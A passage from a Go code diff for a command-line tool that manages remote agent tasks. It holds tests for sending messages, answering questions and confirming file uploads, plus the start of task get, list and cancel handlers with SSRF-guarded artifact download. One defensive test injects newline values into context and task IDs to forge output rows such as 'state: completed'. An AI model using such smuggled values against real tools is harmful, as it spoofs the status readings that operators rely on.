"q3_a8=east", "q3_a8=north", "q3_a8=east", // exact dup → deduped
}
// deliberately no opts.Text — the answers ARE the message.
var got iagents.SendInput
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
got = in
return &iagents.AgentTask{TaskID: "task_1", ContextID: "sess_1", State: iagents.StateCompleted}, nil
}})
if err := agentSendRun(opts); err != nil {
t.Fatalf("answering a group should not require --text: %v", err)
}
if v := got.Answers["q1_a8"]; len(v) != 1 || v[0] != "by_region" {
t.Errorf("bare answer should reach the hook as-is, got %v", got.Answers["q1_a8"])
}
if v := got.Answers["q2_a8.text"]; len(v) != 1 || v[0] != "2024 全年" {
t.Errorf(".text key should stay verbatim in the map, got %v", got.Answers["q2_a8.text"])
}
if v := got.Answers["q3_a8"]; len(v) != 2 || v[0] != "east" || v[1] != "north" {
t.Errorf("multi-select should accumulate in argv order and dedupe exact repeats, got %v", got.Answers["q3_a8"])
}
}
// TestSendAnswerRequiresTaskContext pins that answering a group needs the
// task/context it belongs to (mode-first guard, before key parsing).
func TestSendAnswerRequiresTaskContext(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", Answers: []string{"q1=by_region"}})
if err == nil {
t.Fatal("--answer without --context-id/--task-id should error")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--answer" {
t.Errorf("param should be --answer, got %+v", verr)
}
}
// TestSendAnswerGrammar pins the offline --answer key/value grammar in one
// collect-all pass: a non-key=value entry, a near-miss suffix (.txt), a
// flag-lookalike key, an empty value, and a duplicated .text entry are ALL
// reported in one error; none of them reaches any provider.
func TestSendAnswerGrammar(t *testing.T) {
err := agentSendRun(&sendOptions{Ref: "example:agt_x", ContextID: "sess_1", TaskID: "task_1",
Answers: []string{
"noequals", // 非 key=value
"q1.txt=x", // 后缀拼错:非法 key
"--text=x", // flag 形状 key首字符非法
"q2=", // 空值
"q3.text=a", "q3.text=b", // .text 不累积
}})
if err == nil {
t.Fatal("illegal --answer entries should error offline")
}
var verr *errs.ValidationError
if !errors.As(err, &verr) || verr.Param != "--answer" {
t.Fatalf("param should be --answer, got %+v", verr)
}
for _, frag := range []string{"noequals", "q1.txt", "--text", "q2", "q3.text"} {
if !strings.Contains(verr.Problem.Message, frag) {
t.Errorf("collect-all message should name %q, got %q", frag, verr.Problem.Message)
}
}
}
// workingTask is the canonical non-terminal task the scripted Send returns for
// the happy-path tests.
func workingTask() *iagents.AgentTask {
return &iagents.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagents.StateWorking}
}
// TestSendPrettyFormat pins that `send --format pretty` renders the
// resulting task as key: value lines (previously the flag was registered but
// silently ignored).
func TestSendPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Format = "pretty"
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --format pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"state: working", "task_id: chat_1", "context_id: sess_1"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyFormat pins that --dry-run also consumes --format pretty
// (key: value preview) instead of silently emitting JSON.
func TestSendDryRunPrettyFormat(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
opts.Format = "pretty"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
for _, want := range []string{"dry_run: true", "ref: fakeflow:agt_x", "text: 分析销售"} {
if !strings.Contains(text, want) {
t.Errorf("pretty output should contain %q, got:\n%s", want, text)
}
}
var env output.Envelope
if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
t.Errorf("pretty should not be a JSON envelope: %s", text)
}
}
// TestSendDryRunPrettyNeutralizesInjection pins F2: the dry-run pretty preview
// runs context_id/task_id through kvValue (like every other pretty face), so a
// value carrying a newline cannot forge an adjacent "key: value" field row.
func TestSendDryRunPrettyNeutralizesInjection(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "hi"
opts.DryRun = true
opts.Format = "pretty"
opts.ContextID = "ctx1\nstate: completed"
opts.TaskID = "task1\ndeleted: true"
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run pretty should not error: %v", err)
}
text := string(out.Bytes())
// The raw newline must not survive into a forged adjacent row.
if strings.Contains(text, "context_id: ctx1\nstate: completed") {
t.Errorf("context_id newline not neutralized, forged a field row:\n%s", text)
}
if strings.Contains(text, "task_id: task1\ndeleted: true") {
t.Errorf("task_id newline not neutralized, forged a field row:\n%s", text)
}
// kvValue collapses the newline to a space, keeping the value on one line.
if !strings.Contains(text, "context_id: ctx1 state: completed") {
t.Errorf("context_id should collapse to one line, got:\n%s", text)
}
if !strings.Contains(text, "task_id: task1 deleted: true") {
t.Errorf("task_id should collapse to one line, got:\n%s", text)
}
}
// TestSendNoParamsRequired pins card v2: the scripted card declares no
// parameters, so a send without any --param passes card validation — asserted
// via --dry-run so no provider Send fires. A malformed --param is still a
// validation error.
func TestSendNoParamsRequired(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = nil
opts.DryRun = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("card has no required params, send without --param should pass validation: %v", err)
}
opts2 := sendTestOpts(t)
opts2.Text = "分析销售"
opts2.Params = []string{"noequals"} // a --param without '=' should still raise validation
opts2.DryRun = true
err := agentSendRun(opts2)
if err == nil {
t.Fatal("malformed --param should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestSendUnknownParamRejected pins, against an empty-parameters card, that
// any --param key is unknown → invalid_argument with a hint pointing at
// `agents card`, raised before any provider Send (asserted via --dry-run with
// no send hook installed).
func TestSendUnknownParamRejected(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.Params = []string{"app_id=app_1"}
opts.DryRun = true
err := agentSendRun(opts)
if err == nil {
t.Fatal("card did not declare app_id, --param app_id should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeInvalidArgument {
t.Fatalf("subtype should be invalid_argument, got %+v", p)
}
if !strings.Contains(p.Hint, "agents card") {
t.Fatalf("hint should point to agents card, got %q", p.Hint)
}
}
// TestSendDryRun pins that --dry-run prints a would_send preview and never
// calls the provider (no send hook installed → a Send would panic).
func TestSendDryRun(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
opts.DryRun = true
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("dry-run output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
if !env.OK {
t.Errorf("ok should be true: %+v", env)
}
data, ok := env.Data.(map[string]interface{})
if !ok {
t.Fatalf("data should be an object, got %T", env.Data)
}
if data["dry_run"] != true {
t.Errorf("data.dry_run should be true, got %v", data["dry_run"])
}
would, ok := data["would_send"].(map[string]interface{})
if !ok {
t.Fatalf("data.would_send should be an object, got %T", data["would_send"])
}
if would["text"] != "分析销售" {
t.Errorf("would_send.text should echo the text, got %v", would["text"])
}
}
// TestSendStartsTask pins the happy path: a single Send fires and returns the
// submitted / working task in a success envelope immediately (no polling), with
// a meta.next hint pointing at task get --watch.
func TestSendStartsTask(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "分析销售"
var gotText string
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
gotText = in.Text
return workingTask(), nil
}})
out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentSendRun(opts); err != nil {
t.Fatalf("send should not error: %v", err)
}
if gotText != "分析销售" {
t.Errorf("provider should receive the original text, got %q", gotText)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["task_id"] != "chat_1" {
t.Errorf("task_id should be chat_1, got %v", data["task_id"])
}
if data["state"] != string(iagents.StateWorking) {
t.Errorf("state should be working, got %v", data["state"])
}
// meta.next should suggest polling / continuing.
if !strings.Contains(string(out.Bytes()), `"next"`) {
t.Errorf("non-terminal should provide meta.next follow-up: %s", string(out.Bytes()))
}
}
// TestSendSendError surfaces a provider Send failure unchanged.
func TestSendSendError(t *testing.T) {
opts := sendTestOpts(t)
opts.Text = "x"
setScripted(t, scriptedHooks{send: func(iagents.SendInput) (*iagents.AgentTask, error) {
return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
}})
if err := agentSendRun(opts); err == nil {
t.Fatal("Send error should propagate")
}
}
// TestSendInvalidRef surfaces a malformed ref as a validation error after the
// text/task-id guards pass.
func TestSendInvalidRef(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{Ref: "no-colon", Text: "x", Cmd: sendCmdCtx(t), As: "bot", Factory: f})
if err == nil {
t.Fatal("malformed ref should error")
}
if !errs.IsValidation(err) {
t.Fatalf("want validation error, got %T", err)
}
}
// TestNewCmdAgentSend_WriteRiskAndArgs pins ExactArgs(1), write risk, and the
// presence of the send-specific flags.
func TestNewCmdAgentSend_WriteRiskAndArgs(t *testing.T) {
cmd := NewCmdAgentSend(nil, nil)
if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskWrite {
t.Errorf("agents send should be marked write risk, got level=%q ok=%v", level, ok)
}
if err := cmd.Args(cmd, []string{}); err == nil {
t.Error("agents send missing ref should raise an args error (ExactArgs 1)")
}
if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
t.Errorf("agents send with a single ref should be valid: %v", err)
}
for _, name := range []string{"text", "file", "param", "context-id", "task-id", "dry-run", "as", "format", "jq"} {
if cmd.Flags().Lookup(name) == nil {
t.Errorf("agents send should have --%s flag", name)
}
}
if cmd.Flags().Lookup("wait") != nil {
t.Error("agents send --wait should be removed (polling goes through task get --watch)")
}
// The --file help must point out that files are sent off to the remote
// provider (file-egress requirement).
fileFlag := cmd.Flags().Lookup("file")
if fileFlag != nil && !strings.Contains(fileFlag.Usage, "外发") && !strings.Contains(fileFlag.Usage, "上传") {
t.Errorf("--file help should note files are sent out to the remote provider, got %q", fileFlag.Usage)
}
}
// TestNewCmdAgentSend_RunFOverride confirms the injected runF hook is used
// instead of the production path (construction-time seam).
func TestNewCmdAgentSend_RunFOverride(t *testing.T) {
called := false
var captured *sendOptions
cmd := NewCmdAgentSend(nil, func(opts *sendOptions) error {
called = true
captured = opts
return nil
})
cmd.SetArgs([]string{"example:agt_x", "--text", "hi"})
cmd.SetContext(context.Background())
if err := cmd.Execute(); err != nil {
t.Fatalf("execute should not error: %v", err)
}
if !called {
t.Fatal("runF should be called")
}
if captured.Ref != "example:agt_x" || captured.Text != "hi" {
t.Errorf("opts not populated correctly: %+v", captured)
}
}
// TestSend_FileRequiresYes pins the --file exfil confirmation gate: a real send
// carrying --file to a provider that supports file upload (the scripted card has
// file_input=true) requires --yes, so without it the command returns
// confirmation_required (exit 10) BEFORE reaching the provider — the unset send
// hook is a tripwire that would panic if the gate let the upload through.
func TestSend_FileRequiresYes(t *testing.T) {
mkSendFile(t, "local.txt")
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"} // no --yes
err := agentSendRun(opts)
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
t.Fatalf("send --file without --yes should be confirmation_required, got %+v (err=%v)", p, err)
}
if output.ExitCodeOf(err) != output.ExitConfirmationRequired {
t.Fatalf("exit should be %d, got %d", output.ExitConfirmationRequired, output.ExitCodeOf(err))
}
}
// TestSend_FileWithYesProceeds pins that --yes satisfies the --file gate: the
// send reaches the provider, which receives the file path.
func TestSend_FileWithYesProceeds(t *testing.T) {
mkSendFile(t, "local.txt")
opts := sendTestOpts(t)
sent := false
setScripted(t, scriptedHooks{send: func(in iagents.SendInput) (*iagents.AgentTask, error) {
sent = true
if len(in.Files) != 1 || in.Files[0] != "local.txt" {
t.Errorf("provider should receive the --file path, got %v", in.Files)
}
return &iagents.AgentTask{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: true}, nil
}})
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.Yes = true
if err := agentSendRun(opts); err != nil {
t.Fatalf("send --file --yes should proceed: %v", err)
}
if !sent {
t.Error("provider Send should be reached after --yes")
}
}
// TestSend_FileDryRunNotGated pins that --dry-run with --file is exempt from the
// gate (dry-run never uploads), so it needs no --yes and never reaches the
// provider (unset send hook stays a tripwire).
func TestSend_FileDryRunNotGated(t *testing.T) {
mkSendFile(t, "local.txt")
opts := sendTestOpts(t)
opts.Text = "hi"
opts.Files = []string{"local.txt"}
opts.DryRun = true // no --yes
if err := agentSendRun(opts); err != nil {
t.Fatalf("dry-run --file should not be gated: %v", err)
}
}

609
cmd/agents/task.go Normal file
View File

@@ -0,0 +1,609 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agents
import (
"context"
"fmt"
"io"
"net/http"
"strings"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagents "github.com/larksuite/cli/internal/agents"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
"github.com/larksuite/cli/internal/validate"
"github.com/larksuite/cli/internal/vfs"
)
// maxArtifactBytes caps a single downloaded artifact to guard against an
// untrusted host streaming an unbounded body onto local disk.
const maxArtifactBytes = 256 << 20 // 256 MiB
// taskOptions holds all inputs for the `agents task get|list|cancel` leaves. A
// single struct backs all three so the shared fields (Factory, Cmd, Ref, As)
// are wired once; each RunE reads only the fields its verb needs.
type taskOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
TaskID string
ContextID string
ArtifactID string
Params []string
Output string
Force bool
Watch bool
Timeout time.Duration
As string
Format string
PageSize int
PageToken string
}
// resolveDownload is the DownloadArtifact seam: it resolves the provider
// addressed by opts under the effective identity, runs the local scope
// preflight, and fetches the artifact descriptor. Tests swap it to return
// inline bytes without a Factory / network.
var resolveDownload = func(opts *taskOptions) (*iagents.ArtifactData, error) {
_, spec, agentID, id, err := resolveSpec(opts.Factory, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return nil, err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(opts.Factory, spec, opts.Ref); err != nil {
return nil, err
}
// Capability gate before any network: a spec that does not wire
// DownloadArtifact (card artifact_download=false) returns unsupported_capability.
if spec.DownloadArtifact.Handler == nil {
return nil, capabilityError(opts.Ref, "artifact download", iagents.CapArtifactDownload)
}
// Per-capability brand gate: artifact_download's own brand scope.
if err := opBrandGate(opts.Factory, spec.DownloadArtifact.Brands, opts.Ref, "artifact download"); err != nil {
return nil, err
}
// --artifact switches this command to the artifact_download operation, so
// params validate STRICTLY against its declaration (a task_get-only param
// here gets the cross-operation teaching error), and rt.Params() carries
// only artifact_download keys — the executing hook's own contract.
vp, err := validateParams(opts.Params, spec.DownloadArtifact.Params, iagents.VerbArtifactDownload, spec, opts.Ref)
if err != nil {
return nil, err
}
rt, err := runtimeFor(opts.Factory, id, agentID, vp.Resolved)
if err != nil {
return nil, err
}
if err := preflightScopesForRef(opts.Factory, id, opts.Ref); err != nil {
return nil, err
}
return spec.DownloadArtifact.Handler(opts.Cmd.Context(), rt, opts.TaskID, opts.ArtifactID)
}
// artifactFetch is the URL-download seam: it SSRF-validates rawURL and fetches
// its bytes with a download-hardened client. Tests swap it to serve a loopback
// httptest server (which the production SSRF guard would otherwise block).
var artifactFetch = fetchArtifactURL
// hardenDownloadClient is the download-client-build seam inside fetchArtifactURL.
// Production wraps the base client with the SSRF-hardened redirect/dial rules;
// tests swap it to pass the (interceptable) base client through unchanged so the
// request/status/read/limit logic can run against an httpmock transport that the
// hardened client's transport clone would otherwise discard.
var hardenDownloadClient = func(base *http.Client) *http.Client {
return validate.NewDownloadHTTPClient(base, validate.DownloadHTTPClientOptions{})
}
// NewCmdAgentTask builds the `agents task` command group: query, list and cancel
// tasks on a remote agent. It is a pure group with no RunE so an unknown
// subcommand is reported rather than silently swallowed.
func NewCmdAgentTask(f *cmdutil.Factory) *cobra.Command {
cmd := &cobra.Command{
Use: "task",
Short: "Query / list / cancel a remote agent's tasks",
Long: "task get <agent_ref> <task-id> queries a single task (with --watch polling and --artifact download); task list <agent_ref> lists tasks; task cancel <agent_ref> <task-id> cancels (capability-gated).",
}
cmd.AddCommand(NewCmdAgentTaskGet(f))
cmd.AddCommand(NewCmdAgentTaskList(f))
cmd.AddCommand(NewCmdAgentTaskCancel(f))
return cmd
}
// NewCmdAgentTaskGet builds `agents task get <ref> <task-id>`: fetch a single
// task's state and artifacts. `--watch` polls until the task reaches a stop
// condition and the terminal state drives the semantic exit code;
// `--timeout` bounds that poll (0 = unbounded, blocking to a stop condition —
// the backward-compatible default). `--artifact <id>` downloads that artifact
// to `-o` instead of printing the task: a URL-type artifact is SSRF-validated
// and fetched, an inline-bytes artifact is written straight to disk.
// Risk=read.
func NewCmdAgentTaskGet(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "get <agent_ref> <task-id>",
Short: "Query a single task's state and artifacts",
Long: "Query the state and artifacts of task-id under the agent addressed by agent_ref. --watch polls until a stop condition and then prints the final state; --timeout bounds the watch (0 = unbounded, blocking to a terminal state). --artifact <id> with -o downloads that artifact to a local file.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskGetRun(opts)
},
}
cmd.Flags().BoolVar(&opts.Watch, "watch", false, "轮询任务直到进入停轮询条件(终态 / 需补输入 / 需补鉴权)再打印最终状态")
cmd.Flags().DurationVar(&opts.Timeout, "timeout", 0, "--watch 的最长轮询时长,如 30s0=无界(阻塞到终态);到点未终止则返回当前状态+续 watch 命令")
cmd.Flags().StringVar(&opts.ArtifactID, "artifact", "", "下载指定产物 id须配合 -o 指定落盘路径),不打印任务详情")
cmd.Flags().StringVarP(&opts.Output, "output", "o", "", "产物落盘路径(仅 --artifact 时使用)")
cmd.Flags().BoolVar(&opts.Force, "force", false, "允许覆盖已存在的 -o 目标文件(默认拒绝覆盖,防止误毁本地文件)")
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskList builds `agents task list <ref>`: enumerate the agent's
// tasks, optionally filtered by `--context-id`, into {tasks:[...]} with a
// meta.count. Risk=read.
func NewCmdAgentTaskList(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "list <agent_ref>",
Short: "List a remote agent's tasks",
Long: "List the tasks of the agent addressed by agent_ref; --context-id filters by multi-turn context.",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
if err := validatePageSize(opts.PageSize); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
return agentTaskListRun(opts)
},
}
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "按多轮上下文 id 过滤任务")
addPageFlags(cmd, &opts.PageSize, &opts.PageToken)
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskRead)
return cmd
}
// NewCmdAgentTaskCancel builds `agents task cancel <ref> <task-id>`: cancel
// (interrupt) a task. Cancel is capability-gated on the Card's task_cancel: for
// an agent that does not support it (task_cancel=false, e.g. example:echo) the
// command returns unsupported_capability without contacting the API.
// Risk=write.
func NewCmdAgentTaskCancel(f *cmdutil.Factory) *cobra.Command {
opts := &taskOptions{Factory: f}
cmd := &cobra.Command{
Use: "cancel <agent_ref> <task-id>",
Short: "Cancel (interrupt) a remote agent's task",
Long: "Cancel task-id under the agent addressed by agent_ref. If the agent does not support cancel (card task_cancel=false), it returns unsupported_capability without sending a request.",
Args: exactArgsWithUsage(2),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
opts.TaskID = args[1]
return agentTaskCancelRun(opts)
},
}
addParamFlag(cmd, &opts.Params)
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
addAsFlag(cmd, f, &opts.As)
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// addAsFlag registers the identity flag: the real API-identity flag when a
// Factory is present, or a bare --as for construction-time unit tests (f nil).
func addAsFlag(cmd *cobra.Command, f *cmdutil.Factory, as *string) {
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, as)
return
}
cmd.Flags().StringVar(as, "as", "", "identity type: user | bot")
}
// agentTaskGetRun runs `task get`. The `--artifact` client-side guard (requires
// -o) runs first so it never touches the network and holds under a nil Factory.
// With `--artifact` it downloads the named artifact to -o; otherwise it
// fetches the task, optionally polling it to a stop condition under --watch, and
// emits the task with the terminal state driving the semantic exit code.
func agentTaskGetRun(opts *taskOptions) error {
if opts.ArtifactID != "" {
if opts.Output == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--artifact 需配合 -o/--output 指定落盘路径").
WithParam("--output").
WithHint("补充 -o <落盘路径> 后重发")
}
return downloadArtifact(opts)
}
// --timeout only bounds the --watch poll; without --watch it is meaningless.
// Guard it client-side (mirrors the send --task-id/--context-id combo check)
// so it never touches the network and holds under a nil Factory.
if opts.Timeout > 0 && !opts.Watch {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--timeout 需与 --watch 一起使用").
WithParam("--timeout").
WithHint("加上 --watch如 --watch --timeout 30s做有界轮询或去掉 --timeout 做单次查询")
}
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Brand gates (offline): whole-agent visibility, then task_get's own scope
// (GetTask is core/always wired, so this is normally a no-op).
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
if err := opBrandGate(f, spec.GetTask.Brands, opts.Ref, "task get"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.GetTask.Params, iagents.VerbTaskGet, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
ctx := opts.Cmd.Context()
task, err := spec.GetTask.Handler(ctx, rt, opts.TaskID)
if err != nil {
return err
}
// A provider that decodes an empty "data" via Call[*AgentTask] legitimately
// returns (nil, nil) (see internal/agent decodeData). Surface that as a typed
// error rather than dereferencing task.State below (the --watch branch would
// otherwise panic; the sibling consumers all nil-guard).
if task == nil {
return errs.NewInternalError(errs.SubtypeInvalidResponse,
"provider 未返回任务数据(响应无 data")
}
if opts.Watch && !task.State.ShouldStopPolling() {
// A positive --timeout bounds the poll: pollToStop returns the most recent
// task with a nil error when the deadline fires (a timeout is an
// observation-window close, not a failure), so a long task degrades to
// "current state + a fresh watch hint" instead of blocking forever. 0 =
// unbounded (the backward-compatible default). pollToStop is unchanged.
pollCtx := ctx
if opts.Timeout > 0 {
var cancel context.CancelFunc
pollCtx, cancel = context.WithTimeout(ctx, opts.Timeout)
defer cancel()
}
final, perr := pollToStop(pollCtx, func(c context.Context, tid string) (*iagents.AgentTask, error) {
return spec.GetTask.Handler(c, rt, tid)
}, opts.TaskID)
if perr != nil {
return perr
}
if final != nil {
task = final
}
}
// Derive IsTerminal from State (single source of truth) before any consumer
// — emitTask's output and semanticExitError below both read the flag.
notice := normalizeTask(task)
if err := emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task, spec, vp.Given, iagents.VerbTaskGet), opts.Format, notice); err != nil {
return err
}
// Under --watch a non-successful terminal state signals exit 1; a
// plain get (or a non-terminal stop) is exit 0.
if opts.Watch {
return semanticExitError(task)
}
return nil
}
// agentTaskListRun runs `task list`: resolves the provider, lists tasks
// (optionally filtered by --context-id) in the provider's most-recent-first
// order, and emits {tasks:[...]} with meta.count through content-safety scanning
// (the summaries carry untrusted agent text).
func agentTaskListRun(opts *taskOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
// Capability gate BEFORE building the client: a spec that does not wire
// ListTasks (card task_list=false) returns unsupported_capability offline.
if spec.ListTasks.Handler == nil {
return capabilityError(opts.Ref, "task list", iagents.CapTaskList)
}
// Per-capability brand gate: applies only to a wired op.
if err := opBrandGate(f, spec.ListTasks.Brands, opts.Ref, "task list"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.ListTasks.Params, iagents.VerbTaskList, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
tasks, pageInfo, err := spec.ListTasks.Handler(opts.Cmd.Context(), rt, opts.ContextID,
iagents.PageParams{Token: opts.PageToken, Size: opts.PageSize})
if err != nil {
return err
}
tasks = normalizeTaskSummaries(tasks)
// Ordering is the provider's contract (most-recent-first), consistent across
// and within pages — the CLI does not re-sort a page.
if tasks == nil {
tasks = []iagents.TaskSummary{} // always emit [] not null (matches the Card.Parameters array convention)
}
return scanAndEmitData(f, opts.Cmd, opts.Format,
map[string]interface{}{"tasks": tasks},
listMetaPage(len(tasks), pageInfo, taskListNext(opts, f, pageInfo)),
func(w io.Writer) { printTaskSummariesTSV(w, tasks) })
}
// taskListNext builds the next-page action for `task list`. The command replays
// the caller's ref + optional --context-id with the returned cursor. The ref is
// gated by safeNextRef and the context-id by safeNextID (both user-supplied): a
// failing value drops the action rather than emitting a command that pages the
// wrong (unfiltered) set — the cursor still rides meta.page_token as data.
func taskListNext(opts *taskOptions, f *cmdutil.Factory, info iagents.PageInfo) []output.NextAction {
if !safeNextRef(opts.Ref) {
return nil
}
if opts.ContextID != "" && !safeNextID(opts.ContextID) {
return nil
}
base := fmt.Sprintf("lark-cli agents task list %s", opts.Ref)
if opts.ContextID != "" {
base += " --context-id " + opts.ContextID
}
next := nextPageAction(base, opts.PageSize, info)
carryAsIntoNext(opts.Cmd, f, next)
return next
}
// agentTaskCancelRun runs `task cancel`. Cancel is capability-gated offline
// (right after resolveSpec, before the client is built): a spec that does not
// wire CancelTask (card task_cancel=false, e.g. example:echo) returns
// unsupported_capability without any API access. Only a supporting spec reaches
// runtimeFor + CancelTask.
func agentTaskCancelRun(opts *taskOptions) error {
f := opts.Factory
_, spec, agentID, id, err := resolveSpec(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Whole-agent brand gate FIRST (offline): a brand-hidden agent reports
// unavailable_for_brand uniformly for every verb — even one it does not wire —
// so it must precede the capability nil-gate below.
if err := brandGate(f, spec, opts.Ref); err != nil {
return err
}
if spec.CancelTask.Handler == nil {
return capabilityError(opts.Ref, "task cancel", iagents.CapTaskCancel)
}
// Per-capability brand gate: task_cancel's own brand scope — a
// wired-but-brand-excluded cancel returns unavailable_for_brand.
if err := opBrandGate(f, spec.CancelTask.Brands, opts.Ref, "task cancel"); err != nil {
return err
}
vp, err := validateParams(opts.Params, spec.CancelTask.Params, iagents.VerbTaskCancel, spec, opts.Ref)
if err != nil {
return err
}
rt, err := runtimeFor(f, id, agentID, vp.Resolved)
if err != nil {
return err
}
// Local scope preflight: after runtimeFor, before the API call. A
// task_cancel=false agent never reaches here (gated above); it is wired so a
// provider that supports cancel is not silently exempt from the all-or-nothing
// scope check.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
if err := spec.CancelTask.Handler(opts.Cmd.Context(), rt, opts.TaskID); err != nil {
return err
}
// pretty is a human view only; a --jq expression implies structured JSON.
if opts.Format == "pretty" && jqExpr(opts.Cmd) == "" {
fmt.Fprintf(f.IOStreams.Out, "task_id: %s\ncanceled: true\n", kvValue(opts.TaskID))
return nil
}
